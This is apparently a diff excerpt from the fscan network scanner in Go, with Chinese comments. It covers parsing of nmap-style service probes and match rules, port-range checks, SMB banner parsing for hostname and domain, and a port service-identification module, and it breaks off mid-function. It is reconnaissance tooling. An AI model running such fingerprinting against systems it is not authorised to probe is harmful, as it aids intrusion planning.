for _, probe := range v.AllProbes {
|
||||||
|
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||||
|
if probe.Name == "SSLSessionReq" {
|
||||||
|
Common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
v.Probes = append(v.Probes, probe)
|
||||||
|
Common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||||
|
|
||||||
|
// 特殊处理TLS会话请求
|
||||||
|
if probe.Name == "TLSSessionReq" {
|
||||||
|
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||||
|
v.Probes = append(v.Probes, sslProbe)
|
||||||
|
Common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
v.UdpProbes = append(v.UdpProbes, probe)
|
||||||
|
Common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||||
|
len(v.Probes), len(v.UdpProbes)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析match指令获取匹配规则
|
||||||
|
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||||
|
Common.LogDebug("开始解析match指令:" + data)
|
||||||
|
match = Match{}
|
||||||
|
|
||||||
|
// 提取match文本并解析指令语法
|
||||||
|
matchText := data[len("match")+1:]
|
||||||
|
directive := p.getDirectiveSyntax(matchText)
|
||||||
|
|
||||||
|
// 分割文本获取pattern和版本信息
|
||||||
|
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||||
|
if len(textSplited) == 0 {
|
||||||
|
return match, fmt.Errorf("无效的match指令格式")
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern := textSplited[0]
|
||||||
|
versionInfo := strings.Join(textSplited[1:], "")
|
||||||
|
|
||||||
|
// 解码并编译正则表达式
|
||||||
|
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||||
|
if decodeErr != nil {
|
||||||
|
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||||
|
return match, decodeErr
|
||||||
|
}
|
||||||
|
|
||||||
|
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||||
|
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||||
|
if compileErr != nil {
|
||||||
|
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||||
|
return match, compileErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置match对象属性
|
||||||
|
match.Service = directive.DirectiveName
|
||||||
|
match.Pattern = pattern
|
||||||
|
match.PatternCompiled = patternCompiled
|
||||||
|
match.VersionInfo = versionInfo
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||||
|
match.Service, match.Pattern))
|
||||||
|
return match, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析softmatch指令获取软匹配规则
|
||||||
|
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||||
|
Common.LogDebug("开始解析softmatch指令:" + data)
|
||||||
|
softMatch = Match{IsSoft: true}
|
||||||
|
|
||||||
|
// 提取softmatch文本并解析指令语法
|
||||||
|
matchText := data[len("softmatch")+1:]
|
||||||
|
directive := p.getDirectiveSyntax(matchText)
|
||||||
|
|
||||||
|
// 分割文本获取pattern和版本信息
|
||||||
|
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||||
|
if len(textSplited) == 0 {
|
||||||
|
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern := textSplited[0]
|
||||||
|
versionInfo := strings.Join(textSplited[1:], "")
|
||||||
|
|
||||||
|
// 解码并编译正则表达式
|
||||||
|
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||||
|
if decodeErr != nil {
|
||||||
|
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||||
|
return softMatch, decodeErr
|
||||||
|
}
|
||||||
|
|
||||||
|
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||||
|
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||||
|
if compileErr != nil {
|
||||||
|
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||||
|
return softMatch, compileErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置softMatch对象属性
|
||||||
|
softMatch.Service = directive.DirectiveName
|
||||||
|
softMatch.Pattern = pattern
|
||||||
|
softMatch.PatternCompiled = patternCompiled
|
||||||
|
softMatch.VersionInfo = versionInfo
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||||
|
softMatch.Service, softMatch.Pattern))
|
||||||
|
return softMatch, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解码模式字符串,处理转义序列
|
||||||
|
func DecodePattern(s string) ([]byte, error) {
|
||||||
|
Common.LogDebug("开始解码pattern: " + s)
|
||||||
|
sByteOrigin := []byte(s)
|
||||||
|
|
||||||
|
// 处理十六进制、八进制和结构化转义序列
|
||||||
|
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||||
|
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
||||||
|
var replace []byte
|
||||||
|
|
||||||
|
// 处理十六进制转义
|
||||||
|
if isHexCode(match) {
|
||||||
|
hexNum := match[2:]
|
||||||
|
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
||||||
|
if isReChar(byteNum) {
|
||||||
|
replace = []byte{'\\', uint8(byteNum)}
|
||||||
|
} else {
|
||||||
|
replace = []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理结构化转义字符
|
||||||
|
if isStructCode(match) {
|
||||||
|
structCodeMap := map[int][]byte{
|
||||||
|
97: []byte{0x07}, // \a 响铃
|
||||||
|
102: []byte{0x0c}, // \f 换页
|
||||||
|
116: []byte{0x09}, // \t 制表符
|
||||||
|
110: []byte{0x0a}, // \n 换行
|
||||||
|
114: []byte{0x0d}, // \r 回车
|
||||||
|
118: []byte{0x0b}, // \v 垂直制表符
|
||||||
|
}
|
||||||
|
replace = structCodeMap[int(match[1])]
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理八进制转义
|
||||||
|
if isOctalCode(match) {
|
||||||
|
octalNum := match[2:]
|
||||||
|
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
||||||
|
replace = []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
return replace
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理其他转义序列
|
||||||
|
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||||
|
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
||||||
|
if isOtherEscapeCode(match) {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
return match
|
||||||
|
})
|
||||||
|
|
||||||
|
Common.LogDebug("pattern解码完成")
|
||||||
|
return sByteDec2, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProbesRarity 用于按稀有度排序的探测器切片
|
||||||
|
type ProbesRarity []Probe
|
||||||
|
|
||||||
|
// Len 返回切片长度,实现 sort.Interface 接口
|
||||||
|
func (ps ProbesRarity) Len() int {
|
||||||
|
return len(ps)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
||||||
|
func (ps ProbesRarity) Swap(i, j int) {
|
||||||
|
ps[i], ps[j] = ps[j], ps[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
||||||
|
func (ps ProbesRarity) Less(i, j int) bool {
|
||||||
|
return ps[i].Rarity < ps[j].Rarity
|
||||||
|
}
|
||||||
|
|
||||||
|
// Target 定义目标结构体
|
||||||
|
type Target struct {
|
||||||
|
IP string // 目标IP地址
|
||||||
|
Port int // 目标端口
|
||||||
|
Protocol string // 协议类型
|
||||||
|
}
|
||||||
|
|
||||||
|
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
||||||
|
func (p *Probe) ContainsPort(testPort int) bool {
|
||||||
|
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||||
|
|
||||||
|
// 检查单个端口
|
||||||
|
ports := strings.Split(p.Ports, ",")
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
cmpPort, err := strconv.Atoi(port)
|
||||||
|
if err == nil && testPort == cmpPort {
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查端口范围
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
if strings.Contains(port, "-") {
|
||||||
|
portRange := strings.Split(port, "-")
|
||||||
|
if len(portRange) != 2 {
|
||||||
|
Common.LogDebug("无效的端口范围格式: " + port)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||||
|
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||||
|
|
||||||
|
if err1 != nil || err2 != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if testPort >= start && testPort <= end {
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// MatchPattern 使用正则表达式匹配响应内容
|
||||||
|
func (m *Match) MatchPattern(response []byte) bool {
|
||||||
|
// 将响应转换为字符串并进行匹配
|
||||||
|
responseStr := string([]rune(string(response)))
|
||||||
|
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
||||||
|
|
||||||
|
if len(foundItems) > 0 {
|
||||||
|
m.FoundItems = foundItems
|
||||||
|
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||||
|
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||||
|
Common.LogDebug("开始解析版本信息")
|
||||||
|
var extras = Extras{}
|
||||||
|
|
||||||
|
// 替换版本信息中的占位符
|
||||||
|
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
||||||
|
versionInfo := m.VersionInfo
|
||||||
|
for index, value := range foundItems {
|
||||||
|
dollarName := "$" + strconv.Itoa(index+1)
|
||||||
|
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||||
|
}
|
||||||
|
Common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||||
|
|
||||||
|
// 定义解析函数
|
||||||
|
parseField := func(field, pattern string) string {
|
||||||
|
patterns := []string{
|
||||||
|
pattern + `/([^/]*)/`, // 斜线分隔
|
||||||
|
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, p := range patterns {
|
||||||
|
if strings.Contains(versionInfo, pattern) {
|
||||||
|
regex := regexp.MustCompile(p)
|
||||||
|
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||||
|
return matches[1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析各个字段
|
||||||
|
extras.VendorProduct = parseField("厂商产品", " p")
|
||||||
|
extras.Version = parseField("版本", " v")
|
||||||
|
extras.Info = parseField("信息", " i")
|
||||||
|
extras.Hostname = parseField("主机名", " h")
|
||||||
|
extras.OperatingSystem = parseField("操作系统", " o")
|
||||||
|
extras.DeviceType = parseField("设备类型", " d")
|
||||||
|
|
||||||
|
// 特殊处理CPE
|
||||||
|
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||||
|
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||||
|
for _, pattern := range cpePatterns {
|
||||||
|
regex := regexp.MustCompile(pattern)
|
||||||
|
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||||
|
if len(cpeName) > 1 {
|
||||||
|
extras.CPE = cpeName[1]
|
||||||
|
} else {
|
||||||
|
extras.CPE = cpeName[0]
|
||||||
|
}
|
||||||
|
Common.LogDebug("解析到CPE: " + extras.CPE)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return extras
|
||||||
|
}
|
||||||
|
|
||||||
|
// ToMap 将 Extras 转换为 map[string]string
|
||||||
|
func (e *Extras) ToMap() map[string]string {
|
||||||
|
Common.LogDebug("开始转换Extras为Map")
|
||||||
|
result := make(map[string]string)
|
||||||
|
|
||||||
|
// 定义字段映射
|
||||||
|
fields := map[string]string{
|
||||||
|
"vendor_product": e.VendorProduct,
|
||||||
|
"version": e.Version,
|
||||||
|
"info": e.Info,
|
||||||
|
"hostname": e.Hostname,
|
||||||
|
"os": e.OperatingSystem,
|
||||||
|
"device_type": e.DeviceType,
|
||||||
|
"cpe": e.CPE,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加非空字段到结果map
|
||||||
|
for key, value := range fields {
|
||||||
|
if value != "" {
|
||||||
|
result[key] = value
|
||||||
|
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeData(s string) ([]byte, error) {
|
||||||
|
if len(s) == 0 {
|
||||||
|
Common.LogDebug("输入数据为空")
|
||||||
|
return nil, fmt.Errorf("empty input")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
||||||
|
sByteOrigin := []byte(s)
|
||||||
|
|
||||||
|
// 处理十六进制、八进制和结构化转义序列
|
||||||
|
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||||
|
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
||||||
|
// 处理十六进制转义
|
||||||
|
if isHexCode(match) {
|
||||||
|
hexNum := match[2:]
|
||||||
|
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
||||||
|
if err != nil {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
return []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理结构化转义字符
|
||||||
|
if isStructCode(match) {
|
||||||
|
structCodeMap := map[int][]byte{
|
||||||
|
97: []byte{0x07}, // \a 响铃
|
||||||
|
102: []byte{0x0c}, // \f 换页
|
||||||
|
116: []byte{0x09}, // \t 制表符
|
||||||
|
110: []byte{0x0a}, // \n 换行
|
||||||
|
114: []byte{0x0d}, // \r 回车
|
||||||
|
118: []byte{0x0b}, // \v 垂直制表符
|
||||||
|
}
|
||||||
|
if replace, ok := structCodeMap[int(match[1])]; ok {
|
||||||
|
return replace
|
||||||
|
}
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理八进制转义
|
||||||
|
if isOctalCode(match) {
|
||||||
|
octalNum := match[2:]
|
||||||
|
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
||||||
|
if err != nil {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
return []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
||||||
|
return match
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理其他转义序列
|
||||||
|
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||||
|
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
||||||
|
if len(match) < 2 {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
if isOtherEscapeCode(match) {
|
||||||
|
return []byte{match[1]}
|
||||||
|
}
|
||||||
|
return match
|
||||||
|
})
|
||||||
|
|
||||||
|
if len(sByteDec2) == 0 {
|
||||||
|
Common.LogDebug("解码后数据为空")
|
||||||
|
return nil, fmt.Errorf("decoded data is empty")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
||||||
|
return sByteDec2, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAddress 获取目标的完整地址(IP:端口)
|
||||||
|
func (t *Target) GetAddress() string {
|
||||||
|
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
||||||
|
Common.LogDebug("获取目标地址: " + addr)
|
||||||
|
return addr
|
||||||
|
}
|
||||||
|
|
||||||
|
// trimBanner 处理和清理横幅数据
|
||||||
|
func trimBanner(buf []byte) string {
|
||||||
|
Common.LogDebug("开始处理横幅数据")
|
||||||
|
bufStr := string(buf)
|
||||||
|
|
||||||
|
// 特殊处理SMB协议
|
||||||
|
if strings.Contains(bufStr, "SMB") {
|
||||||
|
banner := hex.EncodeToString(buf)
|
||||||
|
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
||||||
|
Common.LogDebug("检测到SMB协议数据")
|
||||||
|
plain := banner[0xa2:]
|
||||||
|
data, err := hex.DecodeString(plain)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("SMB数据解码失败: " + err.Error())
|
||||||
|
return bufStr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析domain
|
||||||
|
var domain string
|
||||||
|
var index int
|
||||||
|
for i, s := range data {
|
||||||
|
if s != 0 {
|
||||||
|
domain += string(s)
|
||||||
|
} else if i+1 < len(data) && data[i+1] == 0 {
|
||||||
|
index = i + 2
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析hostname
|
||||||
|
var hostname string
|
||||||
|
remainData := data[index:]
|
||||||
|
for i, h := range remainData {
|
||||||
|
if h != 0 {
|
||||||
|
hostname += string(h)
|
||||||
|
}
|
||||||
|
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
||||||
|
Common.LogDebug("SMB横幅: " + smbBanner)
|
||||||
|
return smbBanner
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理常规数据
|
||||||
|
var src string
|
||||||
|
for _, ch := range bufStr {
|
||||||
|
if ch > 32 && ch < 125 {
|
||||||
|
src += string(ch)
|
||||||
|
} else {
|
||||||
|
src += " "
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理多余空白
|
||||||
|
re := regexp.MustCompile(`\s{2,}`)
|
||||||
|
src = re.ReplaceAllString(src, ".")
|
||||||
|
result := strings.TrimSpace(src)
|
||||||
|
Common.LogDebug("处理后的横幅: " + result)
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// Init 初始化VScan对象
|
||||||
|
func (v *VScan) Init() {
|
||||||
|
Common.LogDebug("开始初始化VScan")
|
||||||
|
v.parseProbesFromContent(ProbeString)
|
||||||
|
v.parseProbesToMapKName()
|
||||||
|
v.SetusedProbes()
|
||||||
|
Common.LogDebug("VScan初始化完成")
|
||||||
|
}
|
472
Core/PortInfo.go
Normal file
472
Core/PortInfo.go
Normal file
@ -0,0 +1,472 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 服务信息结构
|
||||||
|
type ServiceInfo struct {
|
||||||
|
Name string // 服务名称
|
||||||
|
Banner string // 服务横幅
|
||||||
|
Version string // 版本信息
|
||||||
|
Extras map[string]string // 额外信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// Result 结构体
|
||||||
|
type Result struct {
|
||||||
|
Service Service
|
||||||
|
Banner string
|
||||||
|
Extras map[string]string
|
||||||
|
Send []byte // 发送的数据
|
||||||
|
Recv []byte // 接收到的数据
|
||||||
|
}
|
||||||
|
|
||||||
|
type Service struct {
|
||||||
|
Name string
|
||||||
|
Extras map[string]string
|
||||||
|
}
|
||||||
|
|
||||||
|
// 扫描器相关结构
|
||||||
|
type Info struct {
|
||||||
|
Address string
|
||||||
|
Port int
|
||||||
|
Conn net.Conn
|
||||||
|
Result Result
|
||||||
|
Found bool
|
||||||
|
}
|
||||||
|
|
||||||
|
type PortInfoScanner struct {
|
||||||
|
Address string
|
||||||
|
Port int
|
||||||
|
Conn net.Conn
|
||||||
|
Timeout time.Duration
|
||||||
|
info *Info
|
||||||
|
}
|
||||||
|
|
||||||
|
// 预定义探测器
|
||||||
|
var (
|
||||||
|
null = new(Probe)
|
||||||
|
common = new(Probe)
|
||||||
|
)
|
||||||
|
|
||||||
|
// NewPortInfoScanner 创建新的端口服务识别器
|
||||||
|
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||||
|
return &PortInfoScanner{
|
||||||
|
Address: addr,
|
||||||
|
Port: port,
|
||||||
|
Conn: conn,
|
||||||
|
Timeout: timeout,
|
||||||
|
info: &Info{
|
||||||
|
Address: addr,
|
||||||
|
Port: port,
|
||||||
|
Conn: conn,
|
||||||
|
Result: Result{
|
||||||
|
Service: Service{},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Identify 识别端口服务
|
||||||
|
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
|
||||||
|
s.info.PortInfo()
|
||||||
|
|
||||||
|
// 转换识别结果
|
||||||
|
serviceInfo := &ServiceInfo{
|
||||||
|
Name: s.info.Result.Service.Name,
|
||||||
|
Banner: s.info.Result.Banner,
|
||||||
|
Version: s.info.Result.Service.Extras["version"],
|
||||||
|
Extras: make(map[string]string),
|
||||||
|
}
|
||||||
|
|
||||||
|
// 复制额外信息
|
||||||
|
for k, v := range s.info.Result.Service.Extras {
|
||||||
|
serviceInfo.Extras[k] = v
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
|
||||||
|
return serviceInfo, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// PortInfo 用于获取端口服务信息
|
||||||
|
func (i *Info) PortInfo() {
|
||||||
|
// 首次尝试读取响应
|
||||||
|
if response, err := i.Read(); err == nil && len(response) > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
|
||||||
|
|
||||||
|
// 依次使用 null 和 common 探测器检查响应
|
||||||
|
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
|
||||||
|
if i.tryProbes(response, []*Probe{null, common}) {
|
||||||
|
Common.LogDebug("基础探测器匹配成功")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
Common.LogDebug("基础探测器未匹配")
|
||||||
|
} else if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录已使用的探测器
|
||||||
|
usedProbes := make(map[string]struct{})
|
||||||
|
|
||||||
|
// 处理特定端口映射的探测
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
|
||||||
|
if i.processPortMapProbes(usedProbes) {
|
||||||
|
Common.LogDebug("端口专用探测器匹配成功")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
Common.LogDebug("端口专用探测器未匹配")
|
||||||
|
|
||||||
|
// 使用默认探测器进行检测
|
||||||
|
Common.LogDebug("尝试使用默认探测器列表")
|
||||||
|
if i.processDefaultProbes(usedProbes) {
|
||||||
|
Common.LogDebug("默认探测器匹配成功")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
Common.LogDebug("默认探测器未匹配")
|
||||||
|
|
||||||
|
// 如果未能识别服务,标记为未知
|
||||||
|
if strings.TrimSpace(i.Result.Service.Name) == "" {
|
||||||
|
Common.LogDebug("未识别出服务,标记为 unknown")
|
||||||
|
i.Result.Service.Name = "unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryProbes 尝试使用给定的探测器列表检查响应
|
||||||
|
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
|
||||||
|
for _, probe := range probes {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
|
||||||
|
i.GetInfo(response, probe)
|
||||||
|
if i.Found {
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// processPortMapProbes 处理端口映射中的探测器
|
||||||
|
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
|
||||||
|
if len(Common.PortMap[i.Port]) == 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, name := range Common.PortMap[i.Port] {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
|
||||||
|
usedProbes[name] = struct{}{}
|
||||||
|
probe := v.ProbesMapKName[name]
|
||||||
|
|
||||||
|
// 解码探测数据
|
||||||
|
probeData, err := DecodeData(probe.Data)
|
||||||
|
if err != nil || len(probeData) == 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 建立连接获取响应
|
||||||
|
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
|
||||||
|
if response := i.Connect(probeData); len(response) > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
|
||||||
|
|
||||||
|
// 使用当前探测器检查响应
|
||||||
|
i.GetInfo(response, &probe)
|
||||||
|
if i.Found {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据探测器类型进行额外检查
|
||||||
|
switch name {
|
||||||
|
case "GenericLines":
|
||||||
|
if i.tryProbes(response, []*Probe{null}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
case "NULL":
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
if i.tryProbes(response, []*Probe{common}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// processDefaultProbes 处理默认探测器
|
||||||
|
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
|
||||||
|
failCount := 0
|
||||||
|
const maxFailures = 10
|
||||||
|
|
||||||
|
for _, name := range Common.DefaultMap {
|
||||||
|
// 跳过已使用的探测器
|
||||||
|
if _, used := usedProbes[name]; used {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
probe := v.ProbesMapKName[name]
|
||||||
|
probeData, err := DecodeData(probe.Data)
|
||||||
|
if err != nil || len(probeData) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 建立连接获取响应
|
||||||
|
response := i.Connect(probeData)
|
||||||
|
if len(response) == 0 {
|
||||||
|
failCount++
|
||||||
|
if failCount > maxFailures {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用当前探测器检查响应
|
||||||
|
i.GetInfo(response, &probe)
|
||||||
|
if i.Found {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据探测器类型进行额外检查
|
||||||
|
switch name {
|
||||||
|
case "GenericLines":
|
||||||
|
if i.tryProbes(response, []*Probe{null}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
case "NULL":
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
if i.tryProbes(response, []*Probe{common}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试使用端口映射中的其他探测器
|
||||||
|
if len(Common.PortMap[i.Port]) > 0 {
|
||||||
|
for _, mappedName := range Common.PortMap[i.Port] {
|
||||||
|
usedProbes[mappedName] = struct{}{}
|
||||||
|
